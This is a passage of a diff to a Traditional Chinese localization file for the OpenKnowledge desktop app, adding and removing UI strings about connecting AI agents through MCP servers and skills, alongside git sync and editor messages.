["連同遠端的變更一起還原"],+ "3n7lnE": ["此代理程式在此裝置上尚無這類檔案。請先開啟該代理程式,然後重新檢查。"],"3nICSW": ["向 <0>",["toolList"],@@ -327,6 +330,7 @@"49Mb7P": ["無法檢查是否已安裝 Slidev。請回到此視窗重試。"],"4A3Yzu": ["程式碼區塊"],"4BITzH": ["錯誤:"],+ "4C2RCg": ["此設定與 ", ["peers"], " 共用。在此移除也會同時為 ", ["peers"], " 移除。"],"4CfgPM": ["專案資料夾已建立,但 git init 失敗。請再試一次。"],"4E9jPa": ["建立你的第一個專案"],"4EZrJN": ["規則"],@@ -361,6 +365,7 @@"4niEzY": ["沙箱化的 HTML 嵌入——寫下 HTML,即時看到顯示結果。"],"4nj6n8": ["/api/config 傳回了 HTTP ", ["code"]],"4pDZ2N": ["已把「", ["0"], "」從其他所有位置移除——它的來源資料夾仍然會載入"],+ "4sE6E9": ["無法檢查哪些工具已連接。"],"4sKwf6": ["檔案已存在"],"4sUdTJ": ["帶主題的預覽"],"4uNLmk": ["正在拉取"],@@ -383,6 +388,7 @@"5Ajb15": ["公式 <0>c = √(a² + b²)</0> 會以行內形式顯示。"],"5AzM72": ["這項設定按每台電腦生效,不會分享給協作者。"],"5BlXTD": ["無法載入這個版本的預覽。你仍然可以在下方選擇要怎麼解決。"],+ "5CHuXn": [["0"], " 需要 ", ["1"], "。請同時關閉兩者,或同時保持開啟。"],"5ClEAu": ["用來跨文件分組的行內主題標籤。"],"5D3Ior": ["隱藏資料夾"],"5F5HYj": ["領先 ", ["ahead"], " 個,落後 ", ["behind"], " 個"],@@ -401,6 +407,7 @@"5OqaJi": ["請輸入專案名稱"],"5PHgV2": ["你也可以在終端機中用 <0>ok bug-report</0> 建立一份。"],"5QGTaA": ["無法複製相對路徑"],+ "5RiC8D": ["探索技能由所有 AI 工具統一管理。請從「設定」→「技能工作室」安裝此技能。"],"5SwVv1": ["未安裝"],"5Szq6N": ["這個端點忽略了你設定的向量維度。移除 <0>search.semantic.dimensions</0> 就會改用模型自己的維度。"@@ -539,6 +546,12 @@"7IsvrP": ["正在檢查更新"],"7JtSLi": ["刪除路徑失敗"],"7MSbAT": ["可用範圍"],+ "7Ny8bV": [+ ["dependent"],+ " 需要 ",+ ["prerequisite"],+ ",但 OpenKnowledge 在此裝置上找不到此智慧代理。"+ ],"7O7REc": ["無法還原 ", ["0"], "。請再試一次。"],"7OhaRy": ["原始碼搜尋"],"7Ongq0": ["把我的 AGENTS.md 檔案精簡到 4 萬字元以內"],@@ -649,6 +662,7 @@"8uGMP8": ["隱藏的內容放在這裡。"],"8vCZcs": ["開啟檔案失敗。"],"8vETh9": ["顯示"],+ "8wwkVu": ["OpenKnowledge 寫入後此項目已變更。啟用會將其取代。"],"8x6zk9": ["隱藏 ", ["0"], " 編輯器"],"9-lMCF": [["slot"], " 色彩 — ", ["0"]],"90-wKT": ["OpenKnowledge 查看了 ", ["subject"], " 的歷史"],@@ -763,7 +777,6 @@"AYoYhU": ["更新失敗:", ["0"]],"AaC-CE": ["空白板"],"AcK_r0": ["Claude CLI"],- "AczYxH": ["自訂的 open-knowledge 項目——不由 OpenKnowledge 管理"],"AdcGcG": ["正在套用你的變更"],"AddR83": ["無法建立專案。請再試一次,或換一個位置。"],"AeHuzT": ["# 每行一個模式。\n# 範例:\n# drafts/\n# *.draft.md\n# !keep.md"],@@ -786,6 +799,7 @@"AkA6DO": ["屬於 ", ["0"], " 外掛——唯讀;開啟它可以編輯一份副本"],"Al8HPP": ["對衝突 ", ["0"], " 採用目前版本"],"Am78jY": ["拖曳 ", ["keyName"], " 以重新排序"],+ "ApNWRQ": ["從 ", ["0"], " 移除 OpenKnowledge?"],"ApeA0n": ["已復原 ", ["docName"], " 上的 ", ["dropCount"], " 次編輯"],"Aq-O0x": ["狀態"],"AqnqMJ": ["API 金鑰已設定"],@@ -811,6 +825,7 @@"BGtzlf": [["uploadFolderName"], " — 1 個檔案"],"BH56dn": ["自訂顯示文字"],"BKI4hX": ["在檔案中尋找"],+ "BMoSQy": ["此代理程式未提供讓 OpenKnowledge 代為設定的方式。請參閱其設定指南中的手動步驟。"],"BOsvJ8": ["<0>ok</0> 在你稍後從「檔案」選單新增之前,無法在外部終端機中執行。你的 AI 工具仍可正常使用。"],@@ -872,11 +887,7 @@"CU3AiE": ["正在切換分支"],"CUmCwI": ["在下方插入列"],"CWjM1r": ["直接放在 ", ["0"], "/ 裡的文件"],- "CWzc2T": [- "無論如何 <0>~/.ok/bin</0> 和 <1>~/.ok/env.sh</1> 都會保留——應用程式一律會維護它們。"- ],"CXDYfm": ["無法讀取這個專案的技能是否已安裝。"],- "CXTwen": ["無法安全地編輯這個專案的設定"],"CXcveY": ["Open Knowledge 在包含 Markdown 的每個資料夾中維護一個名為 index.md 的導航文件,每個資料夾按類型列出該資料夾的文件並連結到其子資料夾。當您的文件發生更改時,它會重寫這些文件,並且您自己編輯到其中的任何內容都會被替換。"],@@ -908,14 +919,17 @@"在 Git 專案中,Open Knowledge 會在儲存庫根目錄的 .gitattributes 檔案中新增一條限定範圍的規則,以便合併並行的索引變更。"],"CxVk-w": ["對 ", ["address"], " 加上註解"],+ "CxnZP4": ["選擇 OpenKnowledge 設定的內容。"],"Cz-K13": ["15 分鐘"],"D-NlUC": ["跟隨系統"],- "D-Oh1s": ["如何設定 ", ["0"], "(在瀏覽器中開啟)"],"D-_B7l": ["已連線——這個端點傳回 ", ["0"], " 維向量。"],"D0CegO": ["存在同名的第二個技能——重新命名它(或刪除其一)以進行完整管理。"],"D12vtS": ["(分離狀態)"],"D2emTw": ["傳送你的意見回饋時出了點問題。請再試一次。"],"D4H2N6": ["移除 ", ["tag"]],+ "D4I0F9": [+ "選擇哪些智慧代理顯示在應用程式的代理選單中,並進行設定,讓它們能夠讀取和更新你的文件。"+ ],"D7gKrd": ["OpenKnowledge 無法在 .ok/local/terminal 下寫入啟動設定,因為該資料夾未安全地包含在此專案中。請確認它是專案內的真實資料夾,而不是連結。Claude 將要求你核准 OpenKnowledge。"],@@ -995,6 +1009,7 @@"E1_c72": ["工作清單"],"E1tG2u": ["取得 Claude Code"],"E2Mv-X": ["複製原始碼"],+ "E35Meh": ["移除 ", ["rowLabel"]],"E4XYYH": ["為這個專案啟用終端機"],"E5WeIy": ["重新開啟最近關閉的那個編輯器分頁。"],"E6lrpp": ["管理 OpenKnowledge 用來瀏覽和同步你的儲存庫的那個 GitHub 帳戶。"],@@ -1002,7 +1017,9 @@"E91VZY": ["在新視窗中開啟"],"E9bKSA": ["正在建立"],"E9gh86": ["你最多可以附加 ", ["MAX_ATTACHMENTS"], " 張圖片。"],+ "EBP_hA": ["將 OpenKnowledge MCP 項目新增至此專案的智慧代理設定。"],"EBVbtP": ["無法複製這個項目"],+ "EDD3UL": ["未在此電腦上偵測到"],"EDl9kS": ["訂閱"],"EDm3wJ": ["正在載入差異顯示器"],"EEYbdt": ["發布"],@@ -1082,6 +1099,7 @@"EvPX7f": ["開啟資料夾選擇器,挑一個地方把儲存庫複製過去。"],"EvXKHE": ["OpenKnowledge 搜尋了知識庫"],"Evq3lu": ["孤立頁模式"],+ "Evsh6U": ["不會變更你的文件。"],"ExPiRQ": ["跳到 CodeMirror 的下一則檢查診斷。"],"ExUzM4": ["技能「", ["0"], "」"],"F-1xhe": ["該專案的伺服器所在分支與此視窗不一致,內容無法載入。"],@@ -1111,7 +1129,6 @@"FEqWFL": ["指引你的 AI 代理在這裡該怎麼做事。"],"FEr96N": ["主題"],"FF7V5K": ["實際大小"],- "FK57sK": ["已修復 ", ["names"], " 的 MCP 整合"],"FKVmcC": ["這個專案的設定。部分設定會透過 git 與每位協作者分享;其餘只在這台電腦上生效。"],"FNTx6u": ["按語意搜尋「", ["semanticSubmitQuery"], "」"],"FNsxBc": ["此執行緒中已可使用 Open Knowledge 工具。"],@@ -1185,6 +1202,12 @@"任何 .mdx 文件。此格式僅限 .md,因此掃描 .md 的閱讀器永遠不會開啟它 - 如果存在同名的 .md,則會讀取該檔案。"],"GSYWCm": ["隱藏文件面板"],+ "GTvYzA": [+ ["dependent"],+ " 需要 ",+ ["prerequisite"],+ ",而 OpenKnowledge 無法為您設定它。其設定指南中有手動步驟。"+ ],"GU1Y4A": ["已要求僅限本機,但未建立 git 儲存庫。等專案位於 git 儲存庫後,可在「設定 → 同步與分享」中切換。"],@@ -1242,6 +1265,11 @@"H4doZt": ["同步已暫停。提交這些本地編輯以繼續,或在終端機中處理它們。"],"H86f9p": ["摺疊"],"H8DVOJ": ["兩邊完全相同,", ["pick"], " 仍會讀到它們。"],+ "H8tj8y": [+ "此設定與 ",+ ["peers"],+ " 共用,OpenKnowledge 無法在此處變更它。請先在 Skills Studio 中取消該資料夾的連結。"+ ],"HAkEqR": ["最近的檔案"],"HAvHev": ["已關閉「", ["name"], "」的自動更新"],"HAvRAI": [["skillCount", "plural", { "other": ["技能"] }]],@@ -1254,7 +1282,6 @@"HPTPGr": ["為我的使用者故事建立一個新的規格檔案"],"HPaAxt": ["尚未安裝 Slidev,因此 Slidev 動作會保持隱藏。安裝後請回到此視窗。"],"HSI88F": ["刪除表格"],- "HTW0Zw": ["還差一步:在這個專案中執行 <0>claude</0>,並核准 OpenKnowledge 一次。"],"HZ7fEu": ["主題名稱"],"HbcQYf": ["要把 ", ["display"], " 處的符號連結換成技能的獨立副本嗎?其他東西都不會動。"],"HdS4Ft": ["無法還原你上次開啟的文件。"],@@ -1425,6 +1452,7 @@"KPW5WC": ["已移動範本"],"KQGZuq": ["如果已經存在就重複使用,否則就建立。"],"KRJ6xh": ["還沒有標籤。繼續輸入就能建立一個。"],+ "KTxoDA": ["OpenKnowledge 無法辨識此項目。啟用後將取代它。"],"KUjOb9": ["執行中"],"KWL_Ih": ["部落格文章"],"KX1MZR": ["你的儲存庫"],@@ -1458,6 +1486,7 @@"KsAPaB": ["這個分支已在以下位置簽出:"],"KtACeE": ["預設:<0>", ["0"], "</0>"],"KujtjC": ["尋找"],+ "Kuw5NN": ["如何設定 ", ["rowLabel"]],"KvwJv8": ["部分檔案未列出:工作區的變更過多。"],"Kx881F": ["已還原 ", ["0"], "。"],"L-rMC9": ["重設為預設值"],@@ -1508,7 +1537,6 @@"L_mqhg": ["(", ["0", "plural", { "other": ["#", " 次嘗試"] }], ")"],"LaskKp": ["傳送到對話(", ["0"], ")"],"Lbl6KA": ["無法從 ", ["0"], " 安裝:", ["1"]],- "LbmLyU": ["無法安全地編輯這個工具的設定"],"LdABLa": ["無法開啟 ", ["target"], "。請試著手動開啟。"],"LdKIHS": ["草擬一份規格"],"LeGeTf": ["GitHub 上的 OpenKnowledge"],@@ -1535,6 +1563,7 @@"Lrsl_h": ["檔案 ", ["identity"], " 不存在。前往引用位置。"],"LtI9AS": ["擁有者"],"LtSYdi": ["在 Finder 中顯示"],+ "LtiJ5c": ["專案技能"],"LuoJWu": [["truncatedShownCount",@@ -1638,9 +1667,6 @@"NIWAux": ["#", ["tagDocsName"], " 底下沒有登記任何文件。"],"NJyQi_": ["分支 ", ["shareBranch"], " 在遠端已不存在。"],"NKkZXl": ["初始化並開啟"],- "NNJsn7": [- "還差一步:到 Cursor → Settings → Tools & MCP 中啟用它(Cursor 預設會關閉專案伺服器,要你自己打開)。"- ],"NOHyEE": ["重試推送"],"NORKZU": ["模式警告:", ["summary"]],"NQ8llq": ["新增項目"],@@ -1696,7 +1722,6 @@"O0Z2Xr": ["連出"],"O2UpM1": ["瀏覽"],"O3oNi5": ["電子郵件"],- "O4PnDd": ["AI 工具管理只在 OpenKnowledge 桌面應用程式中提供。"],"O6H89R": ["已解決"],"O6yEPk": ["在你選的資料夾中建立一個新的 OpenKnowledge 專案。"],"O7_W_a": ["用 AI 開啟"],@@ -1757,7 +1782,6 @@"OlFVNr": ["就選取內容問 AI"],"Oo_WWc": ["找不到頁面"],"Oos8fo": ["複製指令"],- "OplnBG": ["這個版本無法管理 AI 工具。"],"OqqecQ": ["30 秒"],"OsSaYm": ["複製失敗:", ["title"]],"OuQezS": ["繼續此對話時生效"],@@ -1781,6 +1805,7 @@"P6gXB-": ["取代 ", ["keyName"]],"P6lAT3": ["目標資料夾:", ["linkTitle"], "。點一下可開啟總覽。"],"P8AnMN": ["正在檢查 Slidev"],+ "P9rQN2": [["label"], " 的終端行與桌面行共用同一套設定,因此連接其中一個會同時連接兩者。"],"PB4upl": ["尋找上一個相符項"],"PBQwGb": ["搜尋檔案、指令、專案和 AI 交接動作。在視覺化編輯器中選取文字時,K 組合鍵會改成加入連結;P 組合鍵一律開啟指令面板。"@@ -1862,6 +1887,7 @@"QDZbvN": [["diffDays"], " 天前"],"QGWzup": ["正在載入 OpenKnowledge 技能"],"QHCx0c": ["錯誤回報記錄"],+ "QHcLEN": ["已連接"],"QIrBIx": ["展開全部檔案"],"QIzioS": [["agentName"], " 不接受圖片附件。"],"QKgePK": ["已把 ", ["editor"], " 對齊到原始碼(它的位元組已備份)"],@@ -1919,6 +1945,7 @@"RD6H9q": ["當文件變更時,Open Knowledge 會重寫這些 index.md 文件,因此對它們的手動編輯將會被取代。"],+ "RD8cCw": ["此版本無法管理智慧代理連線。"],"RDjuBN": ["設定"],"RDrXh4": ["設定使用者、專案和整合相關的選項。"],"REkvLz": [@@ -1946,6 +1973,7 @@"RSqaSd": ["專案根目錄"],"RVZJWQ": ["搜尋專案…"],"RXEbZy": ["在應用程式內"],+ "RXYvxn": ["無法自動變更此選項。"],"RY6Bq1": ["開啟分享的", ["targetNoun"]],"RZXTlY": ["自動修正(", ["count"], ")"],"R_U_A4": ["新增檔案或資料夾模式,例如 guides/**/*"],@@ -1990,6 +2018,7 @@"S33tz3": ["未連接"],"S3qu11": ["那只是一次試用或一次性的專案"],"S48xcO": ["待處理"],+ "S6SbxA": ["取代此檔案中現有的 \"open-knowledge\" 項目。檔案中的其他伺服器維持不變。"],"S6eHlw": ["請先開啟一個專案。"],"S6l5dv": ["無法開始建立新項目"],"S9Vnum": ["移除 ", ["patternText"]],@@ -2195,7 +2224,6 @@"VFQXPl": ["開啟外部連結預覽後,把游標停在連結上會顯示一張卡片,包含網站名稱、頁面標題和描述。"],- "VIwCaD": ["項目"],"VJaBca": ["選擇技能資料夾"],"VL6VsE": ["採用目前"],"VM7H66": ["這是二進位檔案,無法用文字方式顯示。"],@@ -2256,6 +2284,7 @@"W9NSe0": ["正在檢查連結"],"W9_Bub": ["本機變更和傳入的同步內容重疊"],"WBNpt9": ["無法讀取這個主題(", ["0"], ")"],+ "WEYdDv": ["建議"],"WFEbV1": ["在編輯器中標出常見的 markdown 問題。由 <0>markdownlint<1/></0> 提供。"],"WG3MZ4": ["已選擇 ", ["0"], " 個技能"],"WGMoTY": ["有錯誤、當機,或者覺得不太可靠"],@@ -2325,17 +2354,19 @@"XBBZnv": ["連結目標「", ["shown"], "」未指向現有文件。"],"XBgr2S": ["複製進來"],"XDzAnp": ["在新分頁中開啟"],- "XEfNPL": ["已安裝 — 可在外部終端機中使用 ok。取消勾選會將其移除;你的 AI 工具仍可正常使用。"],"XF1kgP": ["來自 ", ["source"], " 的內容均已是最新"],- "XFpEgc": [- "選擇哪些智慧代理顯示在應用程式的代理選單中,例如 Ask AI、Open with AI 和 + 新對話按鈕。關閉某個智慧代理即可在所有選單中隱藏它。"- ],"XGKy1z": ["無法顯示圖片"],"XH30C4": ["文件"],"XIltnd": ["這裡已存在名為「", ["trimmed"], "」的技能"],"XJOV1Y": ["動態"],"XK5cbh": ["在 OpenKnowledge 的導覽記錄中往前走。"],"XNBGZw": ["訊息未送出:", ["0"]],+ "XNdXMR": [+ ["dependent"],+ " 需要 ",+ ["prerequisite"],+ ",而此智慧代理在此裝置上尚無這類檔案。請先開啟該智慧代理,然後再試一次。"+ ],"XPJ0sN": [["settingsDescriptorLabel"], " 屬性"],"XPqe3B": ["建立新標籤 #", ["tagValue"]],"XRuL0i": ["建立頁面"],@@ -2376,6 +2407,12 @@"Xp7Kq4": ["另一個同步作業正在進行中。請稍候再試。"],"Xp94R1": ["再試一次"],"XpIZmv": ["使用等寬字體的圍欄程式碼區塊。"],+ "XrPvMT": [+ ["dependent"],+ " 需要 ",+ ["prerequisite"],+ ",而 OpenKnowledge 無法在此檔案格式中安全地取代該項目。"+ ],"Xs1kjx": ["檢查更新的頻率"],"Xs7IcT": ["無法連線到 ", ["displayName"], "。要再試一次嗎?"],"XszXjc": ["已重新命名為 ", ["0"]],@@ -2395,6 +2432,7 @@["pickedRelative"],"</1> 的上層目錄,因為裡面有 <2>.git</2> 資料夾(每個 git 儲存庫一個 .ok/)。<3>內容目錄</3>預設是 <4>.</4>(整個儲存庫);輸入子資料夾可以縮小範圍。"],+ "Y1wa2r": ["移除 OpenKnowledge?"],"Y2tU6I": ["刪除 ", ["0"]],"Y5la_5": ["安裝到"],"Y6PKd1": ["把 ", ["name"], " 從最近的專案中移除"],@@ -2504,9 +2542,6 @@"ZWwYwM": ["基底分支"],"ZWxfrc": ["已清除資料夾屬性"],"ZWyHmq": ["這個專案"],- "ZYtq3m": [- "把你用的 AI 工具連接到這個特定專案。這些檔案放在專案資料夾裡,所以開啟它的人都會得到同樣的設定。"- ],"Z_nNa2": ["為主題命名"],"ZatAO_": ["開啟連結預覽失敗——", ["detail"]],"Zf0w-R": [@@ -2543,7 +2578,6 @@["label"]," 將使用該副本而非外掛的版本——副本不再跟隨外掛更新。"],- "_5qBNl": ["AI 工具與 CLI"],"_6FVBz": ["跳到第 1-8 個分頁"],"_7UQ7y": ["全字相符"],"_8quCH": ["來自範本"],@@ -2556,6 +2590,7 @@["currentLabel"],"</1> 上。"],+ "_9rYSZ": ["已修復 ", ["names"], " 的 MCP 整合"],"_Bix3-": [["localizedFirstMessage"], " 的出現位置"],"_DwR-n": ["正在建立…"],"_G7A92": ["維護index.md"],@@ -2567,7 +2602,6 @@"_JOGC0": ["傳送意見回饋…"],"_LczaQ": ["已拒絕 — ", ["optionName"]],"_NWEid": ["依路徑搜尋結構描述檔案"],- "_NX6gG": ["這個版本無法管理專案的 AI 工具。"],"_O7dJS": ["這裡的版本不同——點一下可比較並解決"],"_PACVa": ["版本說明"],"_PBJRl": ["請至少加入一個字母或數字。"],@@ -2593,6 +2627,9 @@"_ci9Bj": ["伺服器傳回的資料夾回應不完整。"],"_eguJc": ["正在上傳"],"_fQGOp": ["路徑中不允許有空格"],+ "_fZSIY": [+ "OpenKnowledge 未修改此檔案,因為無法安全地解析它。請手動修正該檔案,然後再試一次。"+ ],"_gO_m8": ["正在等你核准"],"_gkGSK": ["已刪除範本"],"_pY_Vq": ["這個儲存庫被移動、重新命名或刪除了。"],@@ -2600,6 +2637,7 @@"_rP3HI": [["minutes"], " 分鐘前"],"_tekeB": ["已更新資料夾屬性"],"_tjopj": ["貼上副本"],+ "_uxBz5": ["為 ", ["rowLabel"], " 新增 MCP 和技能"],"_yB-24": ["任何 ", ["0"], "/ 資料夾底下的所有內容"],"a-cKXz": ["全選原始碼"],"a3LDKx": ["安全性"],@@ -2701,6 +2739,7 @@"blFttG": ["搜尋專案"],"bmC18N": ["正在重新連線前清除「", ["docName"], "」的本機協作資料。"],"bnOTEz": ["擷取中…"],+ "bn_MDX": ["為什麼需要注意"],"bpMVIA": ["無法將連結目標「", ["shown"], "」解析為專案本機目標。"],"bpytj4": ["移動到 ", ["0"]],"brCtGB": ["無法取得記錄"],@@ -2810,6 +2849,7 @@"d3dX3w": ["查詢「", ["word"], "」"],"d5rK4X": [["chars", "plural", { "other": ["字元"] }]],"d6qW27": [["agentName"], " 回報:", ["headline"]],+ "dCforW": ["寫入此檔案失敗。請查看 OpenKnowledge 記錄檔以了解原因。"],"dD7NPy": ["大綱"],"dDpCOp": ["重新命名成功,但側邊欄可能不是最新的——請重新整理以重新同步"],"dEgA5A": ["取消"],@@ -2821,6 +2861,7 @@["currentBaseLabel"],"</1> 建立,放在 <2>.ok/worktrees/</2> 底下自己的 worktree 中。"],+ "dGcsnU": ["移除兩者"],"dIYSqk": ["遠端"],"dJw2_7": ["和專案一起保存,供你的團隊使用。"],"dMsx3p": ["首頁兼導覽樞紐。"],@@ -2835,6 +2876,9 @@"dVaXnv": ["內容規則尚未載入——請稍候再試"],"dXCi3J": ["有東西壞了"],"dXOolp": ["正在同步你的變更"],+ "da7Yfw": [+ "這會刪除下方列出的 MCP 伺服器項目和技能檔案。在重新新增之前,智慧代理將無法存取你的文件。"+ ],"darW93": [["pageCount",@@ -2909,6 +2953,7 @@],"eh3QBq": ["Excalidraw 畫板載入失敗。"],"eiUA4k": [["count", "plural", { "other": ["#", " 則註解"] }]],+ "ejiJeW": ["OpenKnowledge 探索技能"],"ekSPiP": [["0"], " 已經被刪除了。"],"el2KyL": ["在此專案中找到 Slidev。簡報將使用專案的版本。"],"emMrXQ": ["伺服器回傳的複本回應格式錯誤。"],@@ -2922,6 +2967,7 @@"euc6Ns": ["建立副本"],"evs0iw": ["符合「", ["tagListQuery"], "」的標籤"],"ewSbS_": ["Shell 工作階段"],+ "ewlFNL": [["failures"], " 的 MCP 自動修復失敗"],"ezUmoU": ["允許的元素值(留空 = 任意)"],"f-k37b": ["安裝此技能"],"f1-q9m": ["保留這些技能"],@@ -2972,6 +3018,23 @@"fj5YiP": ["從 GitHub 下載一份全新的副本。"],"fnlBN4": ["自動核准設定尚未載入——請稍候再試"],"fo6CCk": ["窗格 ", ["0"]],+ "followup.approve-once": [+ "還差一步:在這個專案中執行 ",+ ["agent"],+ ",並核准 OpenKnowledge 一次。"+ ],+ "followup.enable-manually": [+ "還差一步:到 ",+ ["agent"],+ " → Settings → Tools & MCP 中啟用它(",+ ["agent"],+ " 預設會關閉專案伺服器,要你自己打開)。"+ ],+ "followup.trust-gated": [+ "下次你在受信任的 ",+ ["agent"],+ " 工作階段中開啟這個專案時會自動連接。"+ ],"fqSfXY": ["取代"],"ft-BOm": ["回報問題…"],"fuJZKk": ["搜尋分支"],@@ -2979,12 +3042,20 @@"fwhX-N": ["增加或減少原始碼縮排"],"fwrPh4": ["請輸入有效的電子郵件。"],"fxbCNQ": ["已同步。連結是最新的。"],+ "fybwfg": [+ "此設定透過 <0>",+ ["path"],+ "</0> 與 ",+ ["peers"],+ " 共用。在此移除也會同時為 ",+ ["peers"],+ " 移除。"+ ],"g-dkjJ": ["本機檔案詳情尚無法使用。"],"g12y1g": ["無效的 YAML"],"g1ZTh_": [["count", "plural", { "other": ["確定要刪除以下 ", "#", " 個檔案/資料夾及其內容嗎?"] }]],- "g4WlQK": ["專案的 AI 工具管理只在 OpenKnowledge 桌面應用程式中提供。"],"g4XBm0": ["小型章節標題。"],"g4e0hS": ["詢問 ", ["agentName"]],"g58Kwy": [@@ -3040,6 +3111,7 @@"gfb-CM": ["無法取得分支——請登入 GitHub 後再試一次。"],"gfdqcY": ["無法套用這項變更:", ["0"]],"gfohmY": ["連接工具"],+ "ggMMa7": ["專案 MCP 伺服器"],"ggm6JX": ["這個頁面還不存在。開啟它就能在編輯器中建立這個頁面並摺疊關係圖。"],"ggs9f8": ["搜尋檔案、資料夾或指令"],"gh27t1": ["連結預覽"],@@ -3056,6 +3128,41 @@"gpbKxw": ["連結驗證無法使用。"],"gqk-3R": ["已將 ", ["0"], " 移動到 ", ["destination"], "。"],"gtEbeW": ["醒目提示"],+ "guidance.mcp.managed-file": [+ "寫入一個小型橋接檔案,",+ ["agent"],+ " 會從這個專案載入它來連接 OpenKnowledge。"+ ],+ "guidance.mcp.project-config": [+ "將 OpenKnowledge 加入 ",+ ["agent"],+ " 在這個專案中讀取的 MCP 設定,讓它可以讀取、搜尋和編輯這些文件。"+ ],+ "guidance.mcp.session-injection": [+ "每次 OpenKnowledge 啟動 ",+ ["agent"],+ " 時都會把 OpenKnowledge 的工具交給它;不會寫入任何內容到它的設定。"+ ],+ "guidance.mcp.user-config": [+ "將 OpenKnowledge 加入 ",+ ["agent"],+ " 自己的 MCP 設定,這台機器上的每個專案都能存取。"+ ],+ "guidance.skill.central-store": [+ "將 OpenKnowledge 技能放進 ",+ ["agent"],+ " 讀取的中央技能庫。"+ ],+ "guidance.skill.project": [+ "將 OpenKnowledge 技能放進 ",+ ["agent"],+ " 在這個專案中的技能資料夾,讓它的編輯保持署名。"+ ],+ "guidance.skill.user": [+ "將 OpenKnowledge 探索技能放進 ",+ ["agent"],+ " 的全域技能資料夾,讓它在任何專案中都能找到 OpenKnowledge。"+ ],"gv5w9J": ["owner/repo、一個 git URL,或一個本機路徑"],"gvApb7": ["把你讀過的東西變成清楚可信的文章。先存下來源,弄懂它的意思,再留下最終版本,之後就能放心引用。"@@ -3068,6 +3175,14 @@"h06R3C": ["沒有頁面缺少連出的關係圖連結。"],"h16FyT": ["清單"],"h2N-1n": ["已安裝在 ", ["0"]],+ "h2QPvj": [+ ["dependent"],+ " 需要 ",+ ["prerequisite"],+ ",而 OpenKnowledge 無法辨識該項目。勾選 ",+ ["prerequisite"],+ " 以取代它,然後重新儲存。"+ ],"h3QZcB": ["名為 ", ["shareBranch"], " 的分支已存在。請改從切換器開啟它的 worktree。"],"h69WC6": ["已傳送"],"h7FzJC": ["連結關係圖回應的結構與預期不符。"],@@ -3163,7 +3278,6 @@"iH8pgl": ["返回"],"iHAJDj": ["正在決定預設位置"],"iIaSUD": ["空白字元"],- "iKS6gg": ["技能已移至技能工作室。"],"iKSP5j": ["自動換行"],"iKZkk1": ["屬性值"],"iKvAeG": ["正在檢查"],@@ -3210,6 +3324,7 @@"ij-Elv": ["圖片預覽"],"ijLc3m": ["項目符號清單"],"ilodsp": ["讓代理不必先詢問就能使用 OpenKnowledge"],+ "inJhKB": ["取代並儲存"],"ioMn4Z": ["從範本新增…"],"iodl3p": ["伺服器回傳的上傳回應格式錯誤。"],"ipCibE": ["不允許空的資料夾名稱(//)"],@@ -3223,6 +3338,7 @@"irnKr_": ["更新於 ", ["updatedRelative"]],"irrm_E": ["移除選取範圍"],"isRobC": ["新增"],+ "itchkf": ["將智慧代理連線至這台機器上所有專案中的 OpenKnowledge。"],"iuTKci": ["還沒有任何編輯。"],"iv452l": [["0"], " 的說明文件(在瀏覽器中開啟)"],"iycx_A": ["正在推送"],@@ -3377,6 +3493,7 @@"kfL8BJ": ["匯入失敗:", ["0"]],"kj9pAE": ["正在建立頁面"],"kjlQ9D": ["變成符號連結"],+ "kjrq_8": ["更多資訊"],"kknhfj": ["沒有變更"],"kkux8f": ["無法刪除 ", ["0"], "。請再試一次。"],"klPS-L": ["原始檔案——這個代理編輯之前的樣子。"],@@ -3432,6 +3549,7 @@"l87Deg": ["選擇新分頁啟動的內容"],"l9s3IX": [["agentName"], " 無法開始對話。"],"lAiyU_": ["只有目前這份文件用到 <0>#", ["tag"], "</0>。"],+ "lBN3T6": ["智慧代理連線"],"lCC_D5": ["正在訂閱…"],"lGs_bQ": ["頁面 <0>*</0>"],"lHCR4I": ["把這個欄位清空,就會恢復成預設的 OpenAI 端點。"],@@ -3503,7 +3621,6 @@"mHVPm5": ["需要重新連接"],"mHf8mp": ["刪除結構描述檔案 ", ["file"]],"mHo0kp": ["啟用 Open Knowledge 工具的請求已逾時。此執行緒將在沒有這些工具的情況下運作。"],- "mLAjyL": ["讓你用的 AI 工具能夠讀取和更新你的專案。勾選就會立刻設定好;取消勾選則會移除。"],"mPoOmg": ["請先在此處安裝一個技能"],"mPy9lS": ["把我現有的規格整理成一個依領域分組的連結索引,並標出和目前程式碼已經脫節的部分。"],"mPzgTS": ["開啟 ", ["docName"]],@@ -3519,6 +3636,7 @@"maDWIB": ["鏡像來源 <0>api-spec</0>"],"makN88": ["還沒有任何模式。在下面輸入資料夾或檔案名稱,就能開始隱藏檔案。"],"mdKFEy": ["你取消了「", ["docName"], "」的載入。"],+ "mdWhUY": ["OpenKnowledge 未在此裝置上找到該代理程式。"],"mdzKSV": [["nodeCount", "plural", { "other": ["#", " 個節點"] }]],"mf37rL": ["正在重試"],"mg0YGL": ["原始碼多游標與多重選取"],@@ -3558,6 +3676,7 @@"mwMF9u": ["在原始碼編輯器模式下開啟 CodeMirror 搜尋。"],"mxGJVE": ["切換 worktree…"],"mxY24F": ["當焦點在「檔案」側邊欄時,為聚焦的檔案樹項目建立副本。"],+ "n11Jj7": ["為此智慧代理安裝 OpenKnowledge 專案技能。"],"n2XqGH": ["編輯器窗格"],"n2lRue": ["先提交或暫存變更才能切換:"],"n3T3EE": ["已安裝在 ", ["label"], "——點一下可移除"],@@ -3573,7 +3692,6 @@],"n7aopT": ["編輯器模式"],"n81AV0": [["owner"], "/", ["name"], " 已存在。請換一個名稱。"],- "n8DwqQ": ["下次你在受信任的 Codex 工作階段中開啟這個專案時會自動連接。"],"nBHvPL": ["取消編輯"],"nBgzKO": ["把這裡設為來源——技能真正的資料夾會搬到這裡"],"nCzR-G": ["複製驗證碼 ", ["userCode"]],@@ -3624,6 +3742,7 @@"nsM-_m": ["瀏覽數百個主題"],"nsUDL8": ["已選取 ", ["1"], " 個專案中的 ", ["0"], " 個"],"nskygk": ["選擇代理"],+ "nta97o": ["為智慧代理提供處理你文件的說明,並保留其編輯的歸屬記錄。"],"nwtY4N": ["出了點問題"],"nxlOpL": ["OpenKnowledge 正在使用這個 GitHub 帳戶。"],"ny6vNn": [@@ -3683,6 +3802,7 @@"outYNy": ["名稱重複「", ["keyName"], "」"],"ovIGrT": ["無法清除「", ["docName"], "」的本機協作資料。請重新載入後再試一次。"],"oxdGJn": ["在你離開之前,方便說說原因嗎?"],+ "oxj8er": ["將智慧代理連線至此專案,使其可以讀取、搜尋和編輯你的文件。"],"oy5bJW": ["你可以新增"],"oyBV3W": ["自訂技能資料夾路徑"],"p0Iq25": ["插入連結"],@@ -3756,7 +3876,6 @@["1"],"。SKILL.md 